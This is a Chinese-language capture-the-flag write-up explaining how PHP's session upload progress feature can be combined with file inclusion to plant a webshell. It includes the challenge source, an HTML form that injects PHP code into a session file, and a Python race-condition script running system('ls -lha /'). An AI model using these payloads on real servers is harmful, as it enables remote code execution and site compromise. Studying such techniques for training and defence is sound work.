文件包含之 SESSION_UPLOAD_PROGRESS

文件包含之 SESSION_UPLOAD_PROGRESS

Session_Upload _progress 即 session 上传进度,是 PHP5.4 之后添加的一个特性,可以用于检测 session 上传的进度。在文件上传的时候,应用可以通过一个 POST 请求来查询 session 上传进度,同时当 php 检测到这个 POST 请求时,会对 session 上添加相应的数据,再有些情况下,这个数据是可控的,因此可以利用这个特点配合文件包含漏洞来写入 webshell。

php 设置中的相关选项

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start(),但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启(如果此项开启,则需要利用条件竞争来传入webshell)

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

前面说到当 php 检测到 POST 的查询数据时会向 session 中插入一组数据,这组数据的索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。

下面是 php 官方文档给出的一个进度数组的结构样例

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

此时在 session 中存放的数据看上去是这样子的

<?php
$_SESSION["upload_progress_123"] = array(    // 其中存在上面表单里的value值"123"
 "start_time" => 1234567890,   // The request time 请求时间
 "content_length" => 57343257, // POST content length  post数据长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed  已接收的字节数量
 "done" => false,              // true when the POST handler has finished, successfully or not
 "files" => array(
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  上传区域
   // The following 3 elements equals those in $_FILES
   "name" => "foo.avi",     // 上传文件名
   "tmp_name" => "/tmp/phpxxxxxx",     // 上传后在服务端的临时文件名
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

那么如何将包含恶意代码的 session 传过去呢,可以再本地构造一个上传和 POST 同时进行的情况

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
 <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

将其保存为 html 格式,然后随意上传一个文件,使用 bp 抓包并添加上 cookie 值,便完成了上传包含恶意代码 session 的操作。

例题:‘2021- 第五空间智能安全大赛 -Web-EasyCleanup'

打开之后看到源码

<?php

if(!isset($_GET['mode'])){
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}


if(isset($_GET['file'])){
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}


function filter($var): bool{
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

    foreach($banned as $ban){
        if(strstr($var, $ban)) return True;
    }

    return False;
}

function checkNums($var): bool{
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
        for($j = 0; $j < strlen($var); $j++){
            if($var[$j] == $alphanum[$i]){
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}
?>

是一题逻辑比较简单的文件包含题目,但是过滤很严格,没办法通过正常手段进行文件包含利用,查看题目的 phpinfo,可以看到

1.png

2.png

这里的 Session_Upload _progress 为打开状态,且 session.use_strict_mode=0, 可以自定义 sessionid,session.upload_process.cleanup 为 off,不需要进行条件竞争。且没有 session.save_path,默认就是 /tmp/sess_xxxx

使用上面用于构造的代码,随意上传一个文件后进行抓包。

添加 Cookie:PHPSESSID=shell 为 session 文件命名。

使用蚁剑连接,链接为

http://challenge-5ff91fc0018407dd.sandbox.ctfhub.com:10800/?file=/tmp/sess_shell

查看文件获得 flag

4.png

5.png

这里贴一个网上找到的自动化利用脚本

# -*- coding: utf-8 -*-
import io
import requests
import threading

myurl = 'http://114.115.134.72:32770/index.php'
sessid = '7t0'
myfile = io.BytesIO(b'hakaiisu' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls -lha /');?>"}
mycookie = {'PHPSESSID': sessid}

def writeshell(session):
    while True:
        resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)

def getshell(session):
    while True:
        payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
        resp = requests.get(url=payload_url)
        if 'upload_progress' in resp.text:
            print(resp.text)
            break
        else:
            pass


if __name__ == '__main__':
    session = requests.session()
    writeshell = threading.Thread(target=writeshell, args=(session,))
    writeshell.daemon = True
    writeshell.start()
    getshell(session)